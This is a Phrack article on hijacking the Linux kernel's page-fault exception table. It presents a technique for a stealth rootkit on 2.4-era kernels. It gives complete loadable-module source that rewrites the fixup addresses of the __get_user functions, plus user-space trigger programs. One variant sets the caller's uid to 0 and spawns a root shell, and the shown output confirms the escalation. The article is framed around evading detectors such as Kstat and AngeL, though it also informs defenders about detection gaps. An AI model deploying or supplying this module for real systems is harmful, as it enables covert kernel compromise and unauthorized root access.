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==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x07 of 0x0f
|=-------------=[ Hijacking Linux Page Fault Handler ]=------------------=|
|=-------------=[ Exception Table ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ buffer <buffer@antifork.org> ]=---------------------=|
|=------------------[ http://buffer.antifork.org ]=----------------------=|
--[ Contents
1. Introduction
2. System Calls and User Space Access
3. Page Fault Exception
4. Implementation
5. Further Considerations
6. Conclusions
7. Thanks
8. References
--[ 1 - Introduction
"Just another Linux LKM"... that's what you could think reading this
article, but I think it's not correct. In the past years, we have seen a
lot of techniques for hiding many kinds of things, e.g. processes, network
connection, files, etc. etc., through the use of LKM's. The first
techniques were really simple to understand. The real problem with these
techniques is that they are easy to detect as well. If you replace an
address in the syscall table, or if you overwrite the first 7 bytes within
syscall code (as described by Silvio Cesare [4]), it's quite easy for
tools such as Kstat [5] and/or AngeL [6] to identify these malicious
activities. Later, more sophisticated techniques were presented. An
interesting technique was proposed by kad, who suggested modifying the
Interrupt Descriptor Table in such a way so as to redirect an exception
raised from User Space code (such as the "Divide Error") to execute a new
handler whose address replaced the original one in the IDT entry [7]. This
idea is pretty but it has two disadvantages:
1- it's detectable using an approach based on hash values computed on the
whole IDT, as shown by AngeL in its latest 0.9.x releases. This is mainly
due to the fact that the address at which the IDT lives in kernel memory
can be easily obtained since its value is stored in %idtr register. This
register can be read with the asm instruction sidt which allows to store
it in a variable.
2- if a user code executes a division by 0 (it may happen... ) a strange
behaviour could appear. Yes, someone could think that this is uncommon if
we choose the right handler, but what if there is a safer solution?
The idea I'm proposing has just one goal: to provide effective stealth
against all tools used for identifying malicious LKM's. The technique is
based on a kernel feature which is never used in practice. In fact, as we
are going to see, we will be exploiting a general protection mechanism in
the memory management subsystem. This mechanism is used only if a user
space code is deeply bugged and this is not usually the case.
No more words let's start!
--[ 2 - System Calls and User Space Access
First of all, a bit of theory. I'll refer to Linux kernel 2.4.20, however
the code is almost the same for kernels 2.2. In particular we are
interested in what happens in some situations when we need to ask a kernel
feature through a syscall. When a syscall is called from User Space
(through software interrupt 0x80) the system_call() exception handler is
executed. Let's take a look to its implementation, found in
arch/i386/kernel/entry.S.
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_CURRENT(%ebx)
testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS
jne tracesys
cmpl $(NR_syscalls),%eax
jae badsys
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
movl %eax,EAX(%esp) # save the return value
[..]
As we can easily see, system_call() saves all registers' contents in the
Kernel Mode stack. It then derives a pointer to the task_struct structure
of the currently executing process by calling GET_CURRENT(%ebx). Some
checks are done to verify the correctness of syscall number and to see if
the process is currently being traced. Finally the syscall is called by
using sys_call_table, which maintains the addresses of the syscalls, by
using the syscall number saved in %eax as an offset within the table. Now
let's take a look at some particular syscalls. For our purposes, we are
searching for syscalls which take a User Space pointer as an argument. I
chose sys_ioctl() but there are other ones with a similar behaviour.
asmlinkage long sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long
arg)
{
struct file * filp;
unsigned int flag;
int on, error = -EBADF;
[..]
case FIONBIO:
if ((error = get_user(on, (int *)arg)) != 0)
break;
flag = O_NONBLOCK;
[..]
The macro get_user() is used to copy data from User Space to Kernel Space.
In this case, we are directing our attention at the code for setting non
blocking I/O on the file descriptor passed to the syscall. An example of
correct use, from User Space, of this feature could be :
int on = 1;
ioctl(fd, FIONBIO, &on);
Let's take a look at the get_user() implementation which can be found in
include/asm/uaccess.h.
#define __get_user_x(size,ret,x,ptr) \
__asm__ __volatile__("call __get_user_" #size \
:"=a" (ret),"=d" (x) \
:"0" (ptr))
/* Careful: we have to cast the result to the type of the pointer for sign
reasons */
#define get_user(x,ptr) \
({ int __ret_gu,__val_gu; \
switch(sizeof (*(ptr))) { \
case 1: __get_user_x(1,__ret_gu,__val_gu,ptr); break; \
case 2: __get_user_x(2,__ret_gu,__val_gu,ptr); break; \
case 4: __get_user_x(4,__ret_gu,__val_gu,ptr); break; \
default: __get_user_x(X,__ret_gu,__val_gu,ptr); break; \
} \
(x) = (__typeof__(*(ptr)))__val_gu; \
__ret_gu; \
})
As we can see, get_user() is implemented in a very smart way because it
calls the right function basing on the size of the argument to be copied
from User Space. Depending on the value of (sizeof (*(ptr))) __get_user_1()
, __get_user_2() or __get_user_4(), would be called.
Now let's take a look at one of these functions, __get_user_4(), which can
be found in arch/i386/lib/getuser.S.
addr_limit = 12
[..]
.align 4
.globl __get_user_4
__get_user_4:
addl $3,%eax
movl %esp,%edx
jc bad_get_user
andl $0xffffe000,%edx
cmpl addr_limit(%edx),%eax
jae bad_get_user
3: movl -3(%eax),%edx
xorl %eax,%eax
ret
bad_get_user:
xorl %edx,%edx
movl $-14,%eax
ret
.section __ex_table,"a"
.long 1b,bad_get_user
.long 2b,bad_get_user
.long 3b,bad_get_user
.previous
The last lines between .section and .previous identify the exception table
which we'll discuss later since it's important for our purposes.
As it can be seen, the __get_user_4() implementation is straightforward.
The argument address is in the %eax register. By adding 3 to %eax, it's
possible to obtain the greatest User Space referenced address. It's
necessary to control if this address is in the User Mode addressable range
(from 0x00000000 to PAGE_OFFSET - 1, where PAGE_OFFSET is usually
0xc0000000).
If, when comparing the User Space address with current->addr_limit.seg
(stored at offset 12 from the beginning of the task descriptor, whose
pointer was obtained by zeroing the last 13 bits of the Kernel Mode stack
pointer) we find it is greater than PAGE_OFFSET - 1, we jump to the label
bad_get_user thus zeroing %edx and putting -EFAULT (-14) in %eax (syscall
return value).
But what happens if this address is in the User Mode addressable range
(below PAGE_OFFSET) but outside the process address space? Did someone say
Page Fault?!
--[ 3 - Page Fault Exception
"A page fault exception is raised when the addressed page is not present in
memory, the corresponding page table entry is null or a violation of the
paging protection mechanism has occurred." [1]
Linux handles a page fault exception with the page fault handler
do_page_fault(). This handler can be found in arch/i386/mm/fault.c
In particular, we are interested in the three cases which may occur when a
page fault exception occurs in Kernel Mode.
In the first case, "the kernel attempts to address a page belonging to the
process address space, but either the corresponding page frame does not
exist (Demand Paging) or the kernel is trying to write a read-only page
(Copy On Write)." [1]
In the second case, "some kernel function includes a programming bug that
causes the exception to be raised when the program is executed;
alternatively, the exception might be caused by a transient hardware
error." [1]
This two cases are not interesting for our purposes.
The third (and interesting) case is when "a system call service routine
(such as sys_ioctl() in our example) attempts to read or write into a
memory area whose address has been passed as a system call parameter, but
that address does not belong to the process address space." [1]
The first case is easily identified by looking at the process memory
regions. If the address which caused the exception belongs to the process
address space it will fall within a process memory region. This is not
interesting for our purposes.
The interesting thing is how the kernel can distinguish between the second
and the third case. The key to determining the source of a page fault lies
in the narrow range of calls that the kernel uses to access the process
address space.
For this purpose, the kernel builds an exception table in kernel memory.
The boundaries of such region are defined by the symbols
__start___ex_table and __stop___ex_table. Their values can be easily
derived from System.map in this way.
buffer@rigel:/usr/src/linux$ grep ex_table System.map
c0261e20 A __start___ex_table
c0264548 A __stop___ex_table
buffer@rigel:/usr/src/linux$
What's the content of this memory region? In this region you could find
couples of address. The first one (insn) represents the address of the
instruction (belonging to a function which accesses the User Space address
range, such as the ones previously described) which may raise a page
fault. The second one (fixup) is a pointer to the "fixup code".
When a page fault occurs within the kernel and the first case (demand
paging or copy on write) is not verified, the kernel checks if the address
which caused the page fault matches an insn entry in the exception table.
If it doesn't, we are in the second case and the kernel raises an Oops.
Otherwise, if the address matches an insn entry in the exception table, we
are in the third case since the page fault exception was raised while
accessing a User Space address. In this case, the control is passed to the
function whose address is specified in the exception table as fixup code.
This is done by simply doing this.
if ((fixup = search_exception_table(regs->eip)) != 0) {
regs->eip = fixup;
return;
}
The function search_exception_table() searches for an insn entry in the
exception table which matches the address of the instruction which raised
the page fault. If it's found, it means the page fault exception was
raised during an access to a User Space address. In this case, regs->eip
is pointed to the fixup code and then do_page_fault() returns thus jumping
to the fixup code.
It is obvious to realize that the three functions __get_user_x(), which
access User Space addresses, must have a fixup code for handling
situations like the one depicted before.
Going back let's take a look again at __get_user_4()
.align 4
.globl __get_user_4
__get_user_4:
addl $3,%eax
movl %esp,%edx
jc bad_get_user
andl $0xffffe000,%edx
cmpl addr_limit(%edx),%eax
jae bad_get_user
3: movl -3(%eax),%edx
xorl %eax,%eax
ret
bad_get_user:
xorl %edx,%edx
movl $-14,%eax
ret
.section __ex_table,"a"
.long 1b,bad_get_user
.long 2b,bad_get_user
.long 3b,bad_get_user
.previous
First of all, looking at the code, we should point our attention to the GNU
Assembler .section directive which allows the programmer to specify which
section of the executable file will contain the code that follows. The "a"
attribute specifies that the section must be loaded in memory together
with the rest of the kernel image. So, in this case, the three entries are
inserted in the kernel exception table and are loaded with the rest of the
kernel image.
Now, taking a look at __get_user_4() there's an instruction labeled with a
3.
3: movl -3(%eax),%edx
If we added 3 to %eax (it is done in the first instruction of the function
__get_user_4() for checking purposes as outlined before), -3(%eax) is the
starting address of the 4-byte argument to copy from User Space. So, this
is the instruction which really accesses User Space address. Take a look
at the last entry in the exception table
.long 3b,bad_get_user
If you know that the suffix b stands for 'backward' to indicate that the
label appears in a previous line of code (and so simply ignore it just for
understanding the meaning of this code), you could realize that here we
have
insn : address of movl -3(%eax),%edx
fixup : address of bad_get_user
Well guys what we are realizing here is that bad_get_user is the fixup code
for the function __get_user_4() and it will be called every time the
instruction labeled 3 raises a page fault. This is obviously still true for
__get_user_1() and __get_user_2().
At this point we need bad_get_user address.
buffer@rigel:/usr/src/linux$ grep bad_get_user System.map
c022f39c t bad_get_user
buffer@rigel:/usr/src/linux$
If you compile exception.c (shown later) with flag FIXUP_DEBUG set, you'll
see this in your log files which clearly shows what I said before.
May 23 18:36:35 rigel kernel: address : c0264530 insn: c022f361
fixup : c022f39c
May 23 18:36:35 rigel kernel: address : c0264538 insn: c022f37a
fixup : c022f39c
May 23 18:36:35 rigel kernel: address : c0264540 insn: c022f396
fixup : c022f39c
buffer@rigel:/usr/src/linux$ grep __get_user_ System.map
c022f354 T __get_user_1
c022f368 T __get_user_2
c022f384 T __get_user_4
Looking at the first entry in the exception table, we can easily realize
that 0xc022f39c is the address of the instruction labeled 3 in the source
code within __get_user_4() which may raise the page fault as outlined
before. Obviously, the situation is similar for the other two functions.
Now the idea should be clear. If I replace a fixup code address in the
exception table and then from User Space I just call a syscall with a bad
address argument I can force the execution of whatever I want. And for
doing this I need to modify just 4 bytes! Moreover, this appears to be
particulary stealth since this situation is not so common. In fact, for
raising this behaviour, it's necessary that the program you will execute
contain a bug in passing an argument to a syscall. If you know this can
lead to something interesting you could even do it but this situation is
very uncommon. In the next section I present a proof of concept which
shows how to exploit what I discussed. In this example, I modified fixup
code addresses of the three __get_user_x() functions.
--[ 4 - Implementation
This is the LKM code. In this code, I hardcoded some values taken from my
System.map file but it's not needed to edit the source file since these
values can be passed to the module when calling insmod for linking it to
the kernel. If you want more verbosity in the log files, compile it with
the flag -DFIXUP_DEBUG (as done for showing results presented before).
---------------[ exception.c ]----------------------------------------
/*
* Filename: exception.c
* Creation date: 23.05.2003
* Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/
#ifndef __KERNEL__
#define __KERNEL__
#endif
#ifndef MODULE
#define MODULE
#endif
#define __START___EX_TABLE 0xc0261e20
#define __END___EX_TABLE 0xc0264548
#define BAD_GET_USER 0xc022f39c
unsigned long start_ex_table = __START___EX_TABLE;
unsigned long end_ex_table = __END___EX_TABLE;
unsigned long bad_get_user = BAD_GET_USER;
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#ifdef FIXUP_DEBUG
# define PDEBUG(fmt, args...) printk(KERN_DEBUG "[fixup] : " fmt, ##args)
#else
# define PDEBUG(fmt, args...) do {} while(0)
#endif
MODULE_PARM(start_ex_table, "l");
MODULE_PARM(end_ex_table, "l");
MODULE_PARM(bad_get_user, "l");
struct old_ex_entry {
struct old_ex_entry *next;
unsigned long address;
unsigned long insn;
unsigned long fixup;
};
struct old_ex_entry *ex_old_table;
void hook(void)
{
printk(KERN_INFO "Oh Jesus... it works!\n");
}
void cleanup_module(void)
{
struct old_ex_entry *entry = ex_old_table;
struct old_ex_entry *tmp;
if (!entry)
return;
while (entry) {
*(unsigned long *)entry->address = entry->insn;
*(unsigned long *)((entry->address) + sizeof(unsigned
long)) = entry->fixup;
tmp = entry->next;
kfree(entry);
entry = tmp;
}
return;
}
int init_module(void)
{
unsigned long insn = start_ex_table;
unsigned long fixup;
struct old_ex_entry *entry, *last_entry;
ex_old_table = NULL;
PDEBUG(KERN_INFO "hook at address : %p\n", (void *)hook);
for(; insn < end_ex_table; insn += 2 * sizeof(unsigned long)) {
fixup = insn + sizeof(unsigned long);
if (*(unsigned long *)fixup == BAD_GET_USER) {
PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
(void *)insn, *(unsigned long *)insn,
*(unsigned long *)fixup);
entry = (struct old_ex_entry *)kmalloc(GFP_ATOMIC,
sizeof(struct old_ex_entry));
if (!entry)
return -1;
entry->next = NULL;
entry->address = insn;
entry->insn = *(unsigned long *)insn;
entry->fixup = *(unsigned long *)fixup;
if (ex_old_table) {
last_entry = ex_old_table;
while(last_entry->next != NULL)
last_entry = last_entry->next;
last_entry->next = entry;
} else
ex_old_table = entry;
*(unsigned long *)fixup = (unsigned long)hook;
PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
(void *)insn, *(unsigned long *)insn,
*(unsigned long *)fixup);
}
}
return 0;
}
MODULE_LICENSE("GPL");
-------------------------------------------------------------------------
And now a simple code which calls ioctl(2) with a bad argument.
---------------- [ test.c ]----------------------------------------------
/*
* Filename: test.c
* Creation date: 23.05.2003
* Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
int main()
{
int fd;
int res;
fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
res = ioctl(fd, FIONBIO, NULL);
printf("result = %d errno = %d\n", res, errno);
return 0;
}
-------------------------------------------------------------------------
Ok let's look if it works.
buffer@rigel:~$ gcc -I/usr/src/linux/include -O2 -Wall -c exception.c
buffer@rigel:~$ gcc -o test test.c
buffer@rigel:~$ ./test
result = -1 errno = 14
As we expected, we got an EFAULT error (errno = 14).
Let's try to link our module now.
buffer@rigel:~$ su
Password:
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ ./test
result = 25 errno = 0
buffer@rigel:~$
Looking at /var/log/messages
bash-2.05b# tail -f /usr/adm/messages
[..]
May 23 21:31:56 rigel kernel: Oh Jesus... it works!
Seems it works fine! :)
What can we do now?! Try to take a look at this!
Just changing the previous hook() function with this simple one
void hook(void)
{
current->uid = current->euid = 0;
}
and using this user space code for triggering the page fault handler
------------ shell.c -----------------------------------------------------
/*
* Filename: shell.c
* Creation date: 23.05.2003
* Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
int main()
{
int fd;
int res;
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
res = ioctl(fd, FIONBIO, NULL);
printf("result = %d errno = %d\n", res, errno);
execve(argv[0], argv, NULL);
return 0;
}
--------------------------------------------------------------------------
buffer@rigel:~$ su
Password:
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ gcc -o shell shell.c
buffer@rigel:~$ id
uid=500(buffer) gid=100(users) groups=100(users)
buffer@rigel:~$ ./shell
result = 25 errno = 0
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users)
sh-2.05b#
Really nice, isn't it? :)
This is just an example of what you can do. Using this LKM, you are able
to execute anything as if you were root. Do you need something else? Well
what you need is simply modifying hook() and/or user space code which
raises Page Fault exception... it's up to your fantasy now!
-- [ 5 - Further Considerations
When this idea came to my mind I wasn't able to realize what I really did.
It came out just as the result of an intellectual masturbation. Just few
hours later I understood...
Think about what you need for changing an entry in the syscall table for
redirecting a system call. Or think about what you need for modifying the
first 7 bytes of a syscall code as outlined by Silvio. What you need is
simply a "reference mark". Here, your "reference mark" is the exported
symbol sys_call_table in both cases. But, unfortunately, you're not the
only one who knows it. Detection tools can easily know it (since it's an
exported symbol) and so it's quite simple for them to detect changes in
the syscall table and/or in the system call code.
What if you want to modify the Interrupt Descriptor Table as outlined by
kad? You need a "reference mark" as well. In this case, the "reference
mark" is the IDT address in the kernel memory. But this address is easy to
retrieve too and what a detection tool needs to obtain it is simply this
long long idtr;
long __idt_table;
__asm__ __volatile__("sidt %0\n" : : "m"(idtr));
__idt_table = idtr >> 16;
As result, __idt_table will store the IDT address thus easily obtaining the
"reference mark" to the IDT. This is done through using sidt asm
instruction. AngeL, in its latest development releases 0.9.x, uses this
approach and it's able to detect in real-time an attack based on what
stated in [7].
Now think again about what I discussed in the previous sections. It's easy
to understand that obtaining a "reference mark" to the page fault
exception table is not so straightforward as in the previous cases.
The only way for retrieving the page fault exception table address is
through System.map file.
While writing a detection tool whose aim is to detect this kind of attack,
making the assumption that the System.map file refers to the currently
running kernel could be counterproductive. In fact, if it weren't true,
the detection tool could start monitor addresses where not important
(obviously for the purposes of this article) kernel data reside.
Remember that it's easy to generate a System.map file through using nm(2)
but there are a lot of systems out there whose administrators simply
ignore the role of System.map and don't maintain it synchronized with the
currently running kernel.
-- [ 6 - Conclusions
Modifying the page fault handler exception table is quite simple as we
realized. Moreover, it is really stealth since it's possible to obtain
great results just modifying 4 bytes in the kernel memory. In my proof of
concept code, for the sake of simplicity, I modified 12 bytes but it's
easy to realize that it's possible to obtain the same result just
modifying the __get_user_4() fixup code address.
Moreover, it's difficult to find out there programs with bugs of this kind
which raise this kind of behaviour. Remember that for raising this
behaviour you have to pass a wrong address to a syscall. How many programs
doing this have you seen? I think that this kind of approach is really
stealth since this situation is never encountered. In fact, these are bugs
that, if present, are usually corrected by the author before distributing
their programs. The kernel must implement the approach outlined before but
it usually never needs to execute it.
-- [ 7 - Thanks
Many thanks to Antifork Research guys... really cool to work with you!
-- [ 8 - References
[1] "Understanding the Linux Kernel"
Daniel P. Bovet and Marco Cesati
O'Reilly
[2] "Linux Device Drivers"
Alessandro Rubini and Jonathan Corbet
O'Reilly
[3] Linux kernel source
[http://www.kernel.org]
[4] "Syscall Redirection Without Modifying the Syscall Table"
Silvio Cesare
[http://www.big.net.au/~silvio/]
[5] Kstat
[http://www.s0ftpj.org/en/tools.html]
[6] AngeL
[http://www.sikurezza.org/angel]
[7] "Handling Interrupt Descriptor Table for Fun and Profit"
kad
Phrack59-0x04
[http://www.phrack.org]
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